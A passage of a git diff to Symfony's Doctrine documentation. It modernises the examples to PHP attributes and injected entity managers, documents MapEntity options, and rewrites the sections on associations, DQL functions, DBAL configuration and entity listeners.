#[MapEntity(expr: 'repository.find(comment_id)')] + Comment $comment + ): Response { + } + +In the example above, the ``$product`` argument is handled automatically, +but ``$comment`` is configured with the attribute since they cannot both follow +the default convention. + +If you need to get other information from the request to query the database, you +can also access the request in your expression thanks to the ``request`` +variable. Let's say you want the first or the last comment of a product depending on a query parameter named ``sort``:: + + #[Route('/product/{id}/comments')] + public function show( + Product $product, + #[MapEntity(expr: 'repository.findOneBy({"product": id}, {"createdAt": request.query.get("sort", "DESC")})')] + Comment $comment + ): Response { + } + +.. _doctrine-entity-value-resolver-resolve-target-entities: + +Fetch via Interfaces +~~~~~~~~~~~~~~~~~~~~ + +Suppose your ``Product`` class implements an interface called ``ProductInterface``. +If you want to decouple your controllers from the concrete entity implementation, +you can reference the entity by its interface instead. + +To enable this, first configure the +:doc:`resolve_target_entities option </doctrine/resolve_target_entity>`. +Then, your controller can type-hint the interface, and the entity will be +resolved automatically:: + + public function show( + #[MapEntity] + ProductInterface $product + ): Response { // ... } -That's it! The bundle uses the ``{id}`` from the route to query for the ``Product`` -by the ``id`` column. If it's not found, a 404 page is generated. +.. versionadded:: 7.3 + + Support for target entity resolution in the ``EntityValueResolver`` was + introduced Symfony 7.3 + +MapEntity Options +~~~~~~~~~~~~~~~~~ + +A number of options are available on the ``MapEntity`` attribute to +control behavior: + +``id`` + If an ``id`` option is configured and matches a route parameter, then + the resolver will find by the primary key:: + + #[Route('/product/{product_id}')] + public function show( + #[MapEntity(id: 'product_id')] + Product $product + ): Response { + } + +``mapping`` + Configures the properties and values to use with the ``findOneBy()`` + method: the key is the route placeholder name and the value is the Doctrine + property name:: + + #[Route('/product/{category}/{slug}/comments/{comment_slug}')] + public function show( + #[MapEntity(mapping: ['category' => 'category', 'slug' => 'slug'])] + Product $product, + #[MapEntity(mapping: ['comment_slug' => 'slug'])] + Comment $comment + ): Response { + } + +``stripNull`` + If true, then when ``findOneBy()`` is used, any values that are + ``null`` will not be used for the query. -There are many more options you can use. Read more about the `ParamConverter`_. +``objectManager`` + By default, the ``EntityValueResolver`` uses the *default* + object manager, but you can configure this:: + + #[Route('/product/{id}')] + public function show( + #[MapEntity(objectManager: 'foo')] + Product $product + ): Response { + } + +``evictCache`` + If true, forces Doctrine to always fetch the entity from the database + instead of cache. + +``disabled`` + If true, the ``EntityValueResolver`` will not try to replace the argument. + +``message`` + An optional custom message displayed when there's a :class:`Symfony\\Component\\HttpKernel\\Exception\\NotFoundHttpException`, + but **only in the development environment** (you won't see this message in production):: + + #[Route('/product/{product_id}')] + public function show( + #[MapEntity(id: 'product_id', message: 'The product does not exist')] + Product $product + ): Response { + } + +.. versionadded:: 7.1 + + The ``message`` option was introduced in Symfony 7.1. Updating an Object ------------------ @@ -626,26 +898,36 @@ Updating an Object Once you've fetched an object from Doctrine, you interact with it the same as with any PHP model:: - /** - * @Route("/product/edit/{id}") - */ - public function update($id) + // src/Controller/ProductController.php + namespace App\Controller; + + use App\Entity\Product; + use App\Repository\ProductRepository; + use Doctrine\ORM\EntityManagerInterface; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; + // ... + + class ProductController extends AbstractController { - $entityManager = $this->getDoctrine()->getManager(); - $product = $entityManager->getRepository(Product::class)->find($id); + #[Route('/product/edit/{id}', name: 'product_edit')] + public function update(EntityManagerInterface $entityManager, int $id): Response + { + $product = $entityManager->getRepository(Product::class)->find($id); - if (!$product) { - throw $this->createNotFoundException( - 'No product found for id '.$id - ); - } + if (!$product) { + throw $this->createNotFoundException( + 'No product found for id '.$id + ); + } - $product->setName('New product name!'); - $entityManager->flush(); + $product->setName('New product name!'); + $entityManager->flush(); - return $this->redirectToRoute('product_show', [ - 'id' => $product->getId() - ]); + return $this->redirectToRoute('product_show', [ + 'id' => $product->getId() + ]); + } } Using Doctrine to edit an existing product consists of three steps: @@ -679,8 +961,7 @@ You've already seen how the repository object allows you to run basic queries without any work:: // from inside a controller - $repository = $this->getDoctrine()->getRepository(Product::class); - + $repository = $entityManager->getRepository(Product::class); $product = $repository->find($id); But what if you need a more complex query? When you generated your entity with @@ -721,7 +1002,7 @@ a new method for this to your repository:: /** * @return Product[] */ - public function findAllGreaterThanPrice($price): array + public function findAllGreaterThanPrice(int $price): array { $entityManager = $this->getEntityManager(); @@ -747,9 +1028,7 @@ Now, you can call this method on the repository:: // from inside a controller $minPrice = 1000; - $products = $this->getDoctrine() - ->getRepository(Product::class) - ->findAllGreaterThanPrice($minPrice); + $products = $entityManager->getRepository(Product::class)->findAllGreaterThanPrice($minPrice); // ... @@ -766,25 +1045,28 @@ based on PHP conditions):: // src/Repository/ProductRepository.php // ... - public function findAllGreaterThanPrice($price, $includeUnavailableProducts = false): array + class ProductRepository extends ServiceEntityRepository { - // automatically knows to select Products - // the "p" is an alias you'll use in the rest of the query - $qb = $this->createQueryBuilder('p') - ->where('p.price > :price') - ->setParameter('price', $price) - ->orderBy('p.price', 'ASC'); - - if (!$includeUnavailableProducts) { - $qb->andWhere('p.available = TRUE'); - } + public function findAllGreaterThanPrice(int $price, bool $includeUnavailableProducts = false): array + { + // automatically knows to select Products + // the "p" is an alias you'll use in the rest of the query + $qb = $this->createQueryBuilder('p') + ->where('p.price > :price') + ->setParameter('price', $price) + ->orderBy('p.price', 'ASC'); + + if (!$includeUnavailableProducts) { + $qb->andWhere('p.available = TRUE'); + } - $query = $qb->getQuery(); + $query = $qb->getQuery(); - return $query->execute(); + return $query->execute(); - // to get just one result: - // $product = $query->setMaxResults(1)->getOneOrNullResult(); + // to get just one result: + // $product = $query->setMaxResults(1)->getOneOrNullResult(); + } } Querying with SQL @@ -795,20 +1077,23 @@ In addition, you can query directly with SQL if you need to:: // src/Repository/ProductRepository.php // ... - public function findAllGreaterThanPrice($price): array + class ProductRepository extends ServiceEntityRepository { - $conn = $this->getEntityManager()->getConnection(); - - $sql = ' - SELECT * FROM product p - WHERE p.price > :price - ORDER BY p.price ASC - '; - $stmt = $conn->prepare($sql); - $stmt->execute(['price' => $price]); - - // returns an array of arrays (i.e. a raw data set) - return $stmt->fetchAll(); + public function findAllGreaterThanPrice(int $price): array + { + $conn = $this->getEntityManager()->getConnection(); + + $sql = ' + SELECT * FROM product p + WHERE p.price > :price + ORDER BY p.price ASC + '; + + $resultSet = $conn->executeQuery($sql, ['price' => $price]); + + // returns an array of arrays (i.e. a raw data set) + return $resultSet->fetchAllAssociative(); + } } With SQL, you will get back raw data, not objects (unless you use the `NativeQuery`_ @@ -849,18 +1134,15 @@ Learn more doctrine/associations doctrine/events - doctrine/registration_form doctrine/custom_dql_functions doctrine/dbal doctrine/multiple_entity_managers doctrine/resolve_target_entity - doctrine/reverse_engineering - session/database testing/database .. _`Doctrine`: https://www.doctrine-project.org/ .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt -.. _`Doctrine's Mapping Types documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/basic-mapping.html +.. _`list of Doctrine mapping types`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/basic-mapping.html#reference-mapping-types .. _`Query Builder`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/query-builder.html .. _`Doctrine Query Language`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/dql-doctrine-query-language.html .. _`Reserved SQL keywords documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/basic-mapping.html#quoting-reserved-words @@ -868,11 +1150,10 @@ Learn more .. _`Transactions and Concurrency`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/transactions-and-concurrency.html .. _`DoctrineMigrationsBundle`: https://github.com/doctrine/DoctrineMigrationsBundle .. _`NativeQuery`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/native-sql.html -.. _`SensioFrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html -.. _`ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html .. _`limit of 767 bytes for the index key prefix`: https://dev.mysql.com/doc/refman/5.6/en/innodb-limits.html .. _`Doctrine screencast series`: https://symfonycasts.com/screencast/symfony-doctrine .. _`API Platform`: https://api-platform.com/docs/core/validation/ .. _`PDO`: https://www.php.net/pdo -.. _`available Doctrine extensions`: https://github.com/Atlantic18/DoctrineExtensions -.. _`StofDoctrineExtensionsBundle`: https://github.com/antishov/StofDoctrineExtensionsBundle +.. _`available Doctrine extensions`: https://github.com/doctrine-extensions/DoctrineExtensions +.. _`StofDoctrineExtensionsBundle`: https://github.com/stof/StofDoctrineExtensionsBundle +.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html diff --git a/doctrine/associations.rst b/doctrine/associations.rst index 8bdddab536b..bb670eeee52 100644 --- a/doctrine/associations.rst +++ b/doctrine/associations.rst @@ -1,6 +1,3 @@ -.. index:: - single: Doctrine; Associations - How to Work with Doctrine Associations / Relations ================================================== @@ -68,23 +65,27 @@ This will generate your new entity class:: // ... + #[ORM\Entity(repositoryClass: CategoryRepository::class)] class Category { - /** - * @ORM\Id - * @ORM\GeneratedValue - * @ORM\Column(type="integer") - */ + #[ORM\Id] + #[ORM\GeneratedValue] + #[ORM\Column] private $id; - /** - * @ORM\Column(type="string") - */ - private $name; + #[ORM\Column] + private string $name; // ... getters and setters } +.. tip:: + + Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or + ``--with-ulid`` to ``make:entity``. Leveraging Symfony's :doc:`Uid Component </components/uid>`, + this generates an entity with the ``id`` type as :ref:`Uuid <uuid>` + or :ref:`Ulid <ulid>` instead of ``int``. + Mapping the ManyToOne Relationship ---------------------------------- @@ -97,7 +98,7 @@ From the perspective of the ``Product`` entity, this is a many-to-one relationsh From the perspective of the ``Category`` entity, this is a one-to-many relationship. To map this, first create a ``category`` property on the ``Product`` class with -the ``ManyToOne`` annotation. You can do this by hand, or by using the ``make:entity`` +the ``ManyToOne`` attribute. You can do this by hand, or by using the ``make:entity`` command, which will ask you several questions about your relationship. If you're not sure of the answer, don't worry! You can always change the settings later: @@ -143,7 +144,7 @@ the ``Product`` entity (and getter & setter methods): .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Product.php namespace App\Entity; @@ -153,10 +154,8 @@ the ``Product`` entity (and getter & setter methods): { // ... - /** - * @ORM\ManyToOne(targetEntity="App\Entity\Category", inversedBy="products") - */ - private $category; + #[ORM\ManyToOne(targetEntity: Category::class, inversedBy: 'products')] + private Category $category; public function getCategory(): ?Category { @@ -214,7 +213,7 @@ class that will hold these objects: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Category.php namespace App\Entity; @@ -227,10 +226,8 @@ class that will hold these objects: { // ... - /** - * @ORM\OneToMany(targetEntity="App\Entity\Product", mappedBy="category") - */ - private $products; + #[ORM\OneToMany(targetEntity: Product::class, mappedBy: 'category')] + private Collection $products; public function __construct() { @@ -238,7 +235,7 @@ class that will hold these objects: } /** - * @return Collection|Product[] + * @return Collection<int, Product> */ public function getProducts(): Collection { @@ -299,7 +296,7 @@ config. *exactly* like an array, but has some added flexibility. Just imagine that it is an ``array`` and you'll be in good shape. -Your database is setup! Now, run the migrations like normal: +Your database is set up! Now, run the migrations like normal: .. code-block:: terminal @@ -320,14 +317,14 @@ Now you can see this new code in action! Imagine you're inside a controller:: // ... use App\Entity\Category; use App\Entity\Product; + use Doctrine\ORM\EntityManagerInterface; use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class ProductController extends AbstractController { - /** - * @Route("/product", name="product") - */ - public function index() + #[Route('/product', name: 'product')] + public function index(EntityManagerInterface $entityManager): Response { $category = new Category(); $category->setName('Computer Peripherals'); @@ -340,7 +337,6 @@ Now you can see this new code in action! Imagine you're inside a controller:: // relates this product to the category $product->setCategory($category); - $entityManager = $this->getDoctrine()->getManager(); $entityManager->persist($category); $entityManager->persist($product); $entityManager->flush(); @@ -357,8 +353,11 @@ When you go to ``/product``, a single row is added to both the ``category`` and to whatever the ``id`` is of the new category. Doctrine manages the persistence of this relationship for you: -.. image:: /_images/doctrine/mapping_relations.png - :align: center +.. raw:: html + + <object data="../_images/doctrine/mapping_relations.svg" type="image/svg+xml" + alt="Doctrine mapping associated Product and Category entities to a product and category database table" + ></object> If you're new to an ORM, this is the *hardest* concept: you need to stop thinking about your database, and instead *only* think about your objects. Instead of setting @@ -378,20 +377,23 @@ When you need to fetch associated objects, your workflow looks like it did before. First, fetch a ``$product`` object and then access its related ``Category`` object:: + // src/Controller/ProductController.php + namespace App\Controller; + use App\Entity\Product; // ... - public function show($id) + class ProductController extends AbstractController { - $product = $this->getDoctrine() - ->getRepository(Product::class) - ->find($id); - - // ... + public function show(ProductRepository $productRepository, int $id): Response + { + $product = $productRepository->find($id); + // ... - $categoryName = $product->getCategory()->getName(); + $categoryName = $product->getCategory()->getName(); - // ... + // ... + } } In this example, you first query for a ``Product`` object based on the product's @@ -401,8 +403,11 @@ Doctrine silently makes a second query to find the ``Category`` that's related to this ``Product``. It prepares the ``$category`` object and returns it to you. -.. image:: /_images/doctrine/mapping_relations_proxy.png - :align: center +.. raw:: html + + <object data="../_images/doctrine/mapping_relations_proxy.svg" type="image/svg+xml" + alt="Doctrine only querying Category data when needed" + ></object> What's important is the fact that you have access to the product's related category, but the category data isn't actually retrieved until you ask for @@ -411,15 +416,19 @@ the category (i.e. it's "lazily loaded"). Because we mapped the optional ``OneToMany`` side, you can also query in the other direction:: - public function showProducts($id) + // src/Controller/ProductController.php + + // ... + class ProductController extends AbstractController { - $category = $this->getDoctrine() - ->getRepository(Category::class) - ->find($id); + public function showProducts(CategoryRepository $categoryRepository, int $id): Response + { + $category = $categoryRepository->find($id); - $products = $category->getProducts(); + $products = $category->getProducts(); - // ... + // ... + } } In this case, the same things occur: you first query for a single ``Category`` @@ -433,14 +442,12 @@ by adding JOINs. a "proxy" object in place of the true object. Look again at the above example:: - $product = $this->getDoctrine() - ->getRepository(Product::class) - ->find($id); + $product = $productRepository->find($id); $category = $product->getCategory(); // prints "Proxies\AppEntityCategoryProxy" - dump(get_class($category)); + dump($category::class); die(); This proxy object extends the true ``Category`` object, and looks and @@ -475,35 +482,44 @@ can avoid the second query by issuing a join in the original query. Add the following method to the ``ProductRepository`` class:: // src/Repository/ProductRepository.php - public function findOneByIdJoinedToCategory($productId) + + // ... + class ProductRepository extends ServiceEntityRepository { - $entityManager = $this->getEntityManager(); + public function findOneByIdJoinedToCategory(int $productId): ?Product + { + $entityManager = $this->getEntityManager(); - $query = $entityManager->createQuery( - 'SELECT p, c - FROM App\Entity\Product p - INNER JOIN p.category c - WHERE p.id = :id' - )->setParameter('id', $productId); + $query = $entityManager->createQuery( + 'SELECT p, c + FROM App\Entity\Product p + INNER JOIN p.category c + WHERE p.id = :id' + )->setParameter('id', $productId); - return $query->getOneOrNullResult(); + return $query->getOneOrNullResult(); + } } -This will *still* return an array of ``Product`` objects. But now, when you call +This will *still* return a ``Product`` object. But now, when you call ``$product->getCategory()`` and use that data, no second query is made. Now, you can use this method in your controller to query for a ``Product`` object and its related ``Category`` in one query:: - public function show($id) + // src/Controller/ProductController.php + + // ... + class ProductController extends AbstractController { - $product = $this->getDoctrine() - ->getRepository(Product::class) - ->findOneByIdJoinedToCategory($id); + public function show(ProductRepository $productRepository, int $id): Response + { + $product = $productRepository->findOneByIdJoinedToCategory($id); - $category = $product->getCategory(); + $category = $product->getCategory(); - // ... + // ... + } } .. _associations-inverse-side: @@ -519,7 +535,7 @@ To update a relationship in the database, you *must* set the relationship on the *owning* side. The owning side is always where the ``ManyToOne`` mapping is set (for a ``ManyToMany`` relation, you can choose which side is the owning side). -Does this means it's not possible to call ``$category->addProduct()`` or +Does this mean it's not possible to call ``$category->addProduct()`` or ``$category->removeProduct()`` to update the database? Actually, it *is* possible, thanks to some clever code that the ``make:entity`` command generated:: @@ -572,18 +588,29 @@ also generated a ``removeProduct()`` method:: Thanks to this, if you call ``$category->removeProduct($product)``, the ``category_id`` on that ``Product`` will be set to ``null`` in the database. +.. warning:: + + Please be aware that the inverse side could be associated with a large amount of records. + I.e. there could be a large amount of products with the same category. + In this case ``$this->products->contains($product)`` could lead to unwanted database + requests and very high memory consumption with the risk of hard to debug "Out of memory" errors. + + So make sure if you need an inverse side and check if the generated code could lead to such issues. + But, instead of setting the ``category_id`` to null, what if you want the ``Product`` to be *deleted* if it becomes "orphaned" (i.e. without a ``Category``)? To choose -that behavior, use the `orphanRemoval`_ option inside ``Category``:: +that behavior, use the `orphanRemoval`_ option inside ``Category``: - // src/Entity/Category.php +.. configuration-block:: - // ... + .. code-block:: php-attributes + + // src/Entity/Category.php + + // ... - /** - * @ORM\OneToMany(targetEntity="App\Entity\Product", mappedBy="category", orphanRemoval=true) - */ - private $products; + #[ORM\OneToMany(targetEntity: Product::class, mappedBy: 'category', orphanRemoval: true)] + private array $products; Thanks to this, if the ``Product`` is removed from the ``Category``, it will be removed from the database entirely. @@ -598,11 +625,12 @@ Doctrine's `Association Mapping Documentation`_. .. note:: - If you're using annotations, you'll need to prepend all annotations with - ``@ORM\`` (e.g. ``@ORM\OneToMany``), which is not reflected in Doctrine's + If you're using attributes, you'll need to prepend all attributes with + ``#[ORM\]`` (e.g. ``#[ORM\OneToMany]``), which is not reflected in Doctrine's documentation. .. _`Association Mapping Documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/association-mapping.html .. _`orphanRemoval`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-associations.html#orphan-removal .. _`Mastering Doctrine Relations`: https://symfonycasts.com/screencast/doctrine-relations .. _`ArrayCollection`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html +.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst index 9485509da49..e5b21819f58 100644 --- a/doctrine/custom_dql_functions.rst +++ b/doctrine/custom_dql_functions.rst @@ -1,11 +1,8 @@ -.. index:: - single: Doctrine; Custom DQL functions - How to Register custom DQL Functions ==================================== Doctrine allows you to specify custom DQL functions. For more information -on this topic, read Doctrine's cookbook article "`DQL User Defined Functions`_". +on this topic, read Doctrine's cookbook article `DQL User Defined Functions`_. In Symfony, you can register your custom DQL functions as follows: @@ -57,24 +54,19 @@ In Symfony, you can register your custom DQL functions as follows: use App\DQL\NumericFunction; use App\DQL\SecondStringFunction; use App\DQL\StringFunction; + use Symfony\Config\DoctrineConfig; + + return static function (DoctrineConfig $doctrine): void { + $defaultDql = $doctrine->orm() + ->entityManager('default') + // ... + ->dql(); - $container->loadFromExtension('doctrine', [ - 'orm' => [ - // ... - 'dql' => [ - 'string_functions' => [ - 'test_string' => StringFunction::class, - 'second_string' => SecondStringFunction::class, - ], - 'numeric_functions' => [ - 'test_numeric' => NumericFunction::class, - ], - 'datetime_functions' => [ - 'test_datetime' => DatetimeFunction::class, - ], - ], - ], - ]); + $defaultDql->stringFunction('test_string', StringFunction::class); + $defaultDql->stringFunction('second_string', SecondStringFunction::class); + $defaultDql->numericFunction('test_numeric', NumericFunction::class); + $defaultDql->datetimeFunction('test_datetime', DatetimeFunction::class); + }; .. note:: @@ -129,23 +121,21 @@ In Symfony, you can register your custom DQL functions as follows: // config/packages/doctrine.php use App\DQL\DatetimeFunction; - - $container->loadFromExtension('doctrine', [ - 'doctrine' => [ - 'orm' => [ - // ... - 'entity_managers' => [ - 'example_manager' => [ - // place your functions here - 'dql' => [ - 'datetime_functions' => [ - 'test_datetime' => DatetimeFunction::class, - ], - ], - ], - ], - ], - ], - ]); + use Symfony\Config\DoctrineConfig; + + return static function (DoctrineConfig $doctrine): void { + $doctrine->orm() + // ... + ->entityManager('example_manager') + // place your functions here + ->dql() + ->datetimeFunction('test_datetime', DatetimeFunction::class); + }; + +.. warning:: + + DQL functions are instantiated by Doctrine outside of the Symfony + :doc:`service container </service_container>` so you can't inject services + or parameters into a custom DQL function. .. _`DQL User Defined Functions`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/cookbook/dql-user-defined-functions.html diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst index 3d451fb4af6..4f47b61eb61 100644 --- a/doctrine/dbal.rst +++ b/doctrine/dbal.rst @@ -1,6 +1,3 @@ -.. index:: - pair: Doctrine; DBAL - How to Use Doctrine DBAL ======================== @@ -35,7 +32,7 @@ Then configure the ``DATABASE_URL`` environment variable in ``.env``: # .env (or override DATABASE_URL in .env.local to avoid committing your changes) # customize this line! - DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name" + DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=8.0.37" Further things can be configured in ``config/packages/doctrine.yaml`` - see :ref:`reference-dbal-configuration`. Remove the ``orm`` key in that file @@ -47,13 +44,15 @@ object:: // src/Controller/UserController.php namespace App\Controller; - use Doctrine\DBAL\Driver\Connection; + use Doctrine\DBAL\Connection; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; class UserController extends AbstractController { - public function index(Connection $connection) + public function index(Connection $connection): Response { - $users = $connection->fetchAll('SELECT * FROM users'); + $users = $connection->fetchAllAssociative('SELECT * FROM users'); // ... } @@ -103,22 +102,20 @@ mapping types, read Doctrine's `Custom Mapping Types`_ section of their document // config/packages/doctrine.php use App\Type\CustomFirst; use App\Type\CustomSecond; + use Symfony\Config\DoctrineConfig; - $container->loadFromExtension('doctrine', [ - 'dbal' => [ - 'types' => [ - 'custom_first' => CustomFirst::class, - 'custom_second' => CustomSecond::class, - ], - ], - ]); + return static function (DoctrineConfig $doctrine): void { + $dbal = $doctrine->dbal(); + $dbal->type('custom_first')->class(CustomFirst::class); + $dbal->type('custom_second')->class(CustomSecond::class); + }; Registering custom Mapping Types in the SchemaTool -------------------------------------------------- The SchemaTool is used to inspect the database to compare the schema. To achieve this task, it needs to know which mapping type needs to be used -for each database types. Registering new ones can be done through the configuration. +for each database type. Registering new ones can be done through the configuration. Now, map the ENUM type (not supported by DBAL by default) to the ``string`` mapping type: @@ -154,13 +151,13 @@ mapping type: .. code-block:: php // config/packages/doctrine.php - $container->loadFromExtension('doctrine', [ - 'dbal' => [ - 'mapping_types' => [ - 'enum' => 'string', - ], - ], - ]); + use Symfony\Config\DoctrineConfig; + + return static function (DoctrineConfig $doctrine): void { + $dbalDefault = $doctrine->dbal() + ->connection('default'); + $dbalDefault->mappingType('enum', 'string'); + }; .. _`PDO`: https://www.php.net/pdo .. _`Doctrine`: https://www.doctrine-project.org/ diff --git a/doctrine/events.rst b/doctrine/events.rst index 46287b06253..accf424083a 100644 --- a/doctrine/events.rst +++ b/doctrine/events.rst @@ -1,12 +1,9 @@ -.. index:: - single: Doctrine; Lifecycle Callbacks; Doctrine Events - Doctrine Events =============== `Doctrine`_, the set of PHP libraries used by Symfony to work with databases, provides a lightweight event system to update entities during the application -execution. These events, called `lifecycle events`_, allow to perform tasks such +execution. These events, called `lifecycle events`_, allow performing tasks such as *"update the createdAt property automatically right before persisting entities of this type"*. @@ -16,23 +13,20 @@ on other common tasks (e.g. ``loadClassMetadata``, ``onClear``). There are different ways to listen to these Doctrine events: -* **Lifecycle callbacks**, they are defined as methods on the entity classes and - they are called when the events are triggered; -* **Lifecycle listeners and subscribers**, they are classes with callback - methods for one or more events and they are called for all entities; -* **Entity listeners**, they are similar to lifecycle listeners, but they are - called only for the entities of a certain class. - -These are the **drawbacks and advantages** of each one: - -* Callbacks have better performance because they only apply to a single entity - class, but you can't reuse the logic for different entities and they don't - have access to :doc:`Symfony services </service_container>`; -* Lifecycle listeners and subscribers can reuse logic among different entities - and can access Symfony services but their performance is worse because they - are called for all entities; -* Entity listeners have the same advantages of lifecycle listeners and they have - better performance because they only apply to a single entity class. +* **Lifecycle callbacks**, they are defined as public methods on the entity classes. + They can't use services, so they are intended for **very simple logic** related + to a single entity; +* **Entity listeners**, they are defined as classes with callback methods for the + events you want to respond to. They can use services, but they are only called + for the entities of a certain class, so they are ideal for **complex event logic + related to a single entity**; +* **Lifecycle listeners**, they are similar to entity listeners but their event + methods are called for all entities, not only those of a certain type. They are + ideal to **share event logic between entities**. + +The performance of each type of listener depends on how many entities it applies to: +lifecycle callbacks are faster than entity listeners, which in turn are faster +than lifecycle listeners. This article only explains the basics about Doctrine events when using them inside a Symfony application. Read the `official docs about Doctrine events`_ @@ -40,43 +34,39 @@ to learn everything about them. .. seealso:: - This article covers listeners and subscribers for Doctrine ORM. If you are + This article covers listeners for Doctrine ORM. If you are using ODM for MongoDB, read the `DoctrineMongoDBBundle documentation`_. Doctrine Lifecycle Callbacks ---------------------------- -Lifecycle callbacks are defined as methods inside the entity you want to modify. +Lifecycle callbacks are defined as public methods inside the entity you want to modify. For example, suppose you want to set a ``createdAt`` date column to the current date, but only when the entity is first persisted (i.e. inserted). To do so, define a callback for the ``prePersist`` Doctrine event: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Product.php namespace App\Entity; use Doctrine\ORM\Mapping as ORM; - // When using annotations, don't forget to add @ORM\HasLifecycleCallbacks() + // When using attributes, don't forget to add #[ORM\HasLifecycleCallbacks] // to the class of the entity where you define the callback - /** - * @ORM\Entity() - * @ORM\HasLifecycleCallbacks() - */ + #[ORM\Entity] + #[ORM\HasLifecycleCallbacks] class Product { // ... - /** - * @ORM\PrePersist - */ - public function setCreatedAtValue() + #[ORM\PrePersist] + public function setCreatedAtValue(): void { - $this->createdAt = new \DateTime(); + $this->createdAt = new \DateTimeImmutable(); } } @@ -112,150 +102,51 @@ define a callback for the ``prePersist`` Doctrine event: useful information such as the current entity manager (e.g. the ``preUpdate`` callback receives a ``PreUpdateEventArgs $event`` argument). -.. _doctrine-lifecycle-listener: - -Doctrine Lifecycle Listeners ----------------------------- - -Lifecycle listeners are defined as PHP classes that listen to a single Doctrine -event on all the application entities. For example, suppose that you want to -update some search index whenever a new entity is persisted in the database. To -do so, define a listener for the ``postPersist`` Doctrine event:: - - // src/EventListener/SearchIndexer.php - namespace App\EventListener; - - use App\Entity\Product; - use Doctrine\Persistence\Event\LifecycleEventArgs; - - class SearchIndexer - { - // the listener methods receive an argument which gives you access to - // both the entity object of the event and the entity manager itself - public function postPersist(LifecycleEventArgs $args) - { - $entity = $args->getObject(); - - // if this listener only applies to certain entity types, - // add some code to check the entity type as early as possible - if (!$entity instanceof Product) { - return; - } - - $entityManager = $args->getObjectManager(); - // ... do something with the Product entity - } - } - -The next step is to enable the Doctrine listener in the Symfony application by -creating a new service for it and :doc:`tagging it </service_container/tags>` -with the ``doctrine.event_listener`` tag: - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - # ... - - App\EventListener\SearchIndexer: - tags: - - - name: 'doctrine.event_listener' - # this is the only required option for the lifecycle listener tag - event: 'postPersist' - - # listeners can define their priority in case multiple listeners are associated - # to the same event (default priority = 0; higher numbers = listener is run earlier) - priority: 500 - - # you can also restrict listeners to a specific Doctrine connection - connection: 'default' - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:doctrine="http://symfony.com/schema/dic/doctrine"> - <services> - <!-- ... --> - - <!-- - * 'event' is the only required option that defines the lifecycle listener - * 'priority': used when multiple listeners are associated to the same event - * (default priority = 0; higher numbers = listener is run earlier) - * 'connection': restricts the listener to a specific Doctrine connection - --> - <service id="App\EventListener\SearchIndexer"> - <tag name="doctrine.event_listener" - event="postPersist" - priority="500" - connection="default"/> - </service> - </services> - </container> - - .. code-block:: php - - // config/services.php - namespace Symfony\Component\DependencyInjection\Loader\Configurator; - - use App\EventListener\SearchIndexer; - - return static function (ContainerConfigurator $container) { - $services = $configurator->services(); - - // listeners are applied by default to all Doctrine connections - $services->set(SearchIndexer::class) - ->tag('doctrine.event_listener', [ - // this is the only required option for the lifecycle listener tag - 'event' => 'postPersist', - - // listeners can define their priority in case multiple listeners are associated - // to the same event (default priority = 0; higher numbers = listener is run earlier) - 'priority' => 500, - - # you can also restrict listeners to a specific Doctrine connection - 'connection' => 'default', - ]) - ; - }; - -.. tip:: - - Symfony loads (and instantiates) Doctrine listeners only when the related - Doctrine event is actually fired; whereas Doctrine subscribers are always - loaded (and instantiated) by Symfony, making them less performant. - Doctrine Entity Listeners ------------------------- Entity listeners are defined as PHP classes that listen to a single Doctrine event on a single entity class. For example, suppose that you want to send some -notifications whenever a ``User`` entity is modified in the database. To do so, -define a listener for the ``postUpdate`` Doctrine event:: +notifications whenever a ``User`` entity is modified in the database. + +First, define a PHP class that handles the ``postUpdate`` Doctrine event:: // src/EventListener/UserChangedNotifier.php namespace App\EventListener; use App\Entity\User; - use Doctrine\Persistence\Event\LifecycleEventArgs; + use Doctrine\ORM\Event\PostUpdateEventArgs; class UserChangedNotifier { // the entity listener methods receive two arguments: // the entity instance and the lifecycle event - public function postUpdate(User $user, LifecycleEventArgs $event) + public function postUpdate(User $user, PostUpdateEventArgs $event): void { // ... do something to notify the changes } } -The next step is to enable the Doctrine listener in the Symfony application by -creating a new service for it and :doc:`tagging it </service_container/tags>` -with the ``doctrine.orm.entity_listener`` tag: +Then, add the ``#[AsEntityListener]`` attribute to the class to enable it as +a Doctrine entity listener in your application:: + + // src/EventListener/UserChangedNotifier.php + namespace App\EventListener; + + // ... + use App\Entity\User; + use Doctrine\Bundle\DoctrineBundle\Attribute\AsEntityListener; + use Doctrine\ORM\Events; + + #[AsEntityListener(event: Events::postUpdate, method: 'postUpdate', entity: User::class)] + class UserChangedNotifier + { + // ... + } + +Alternatively, if you prefer 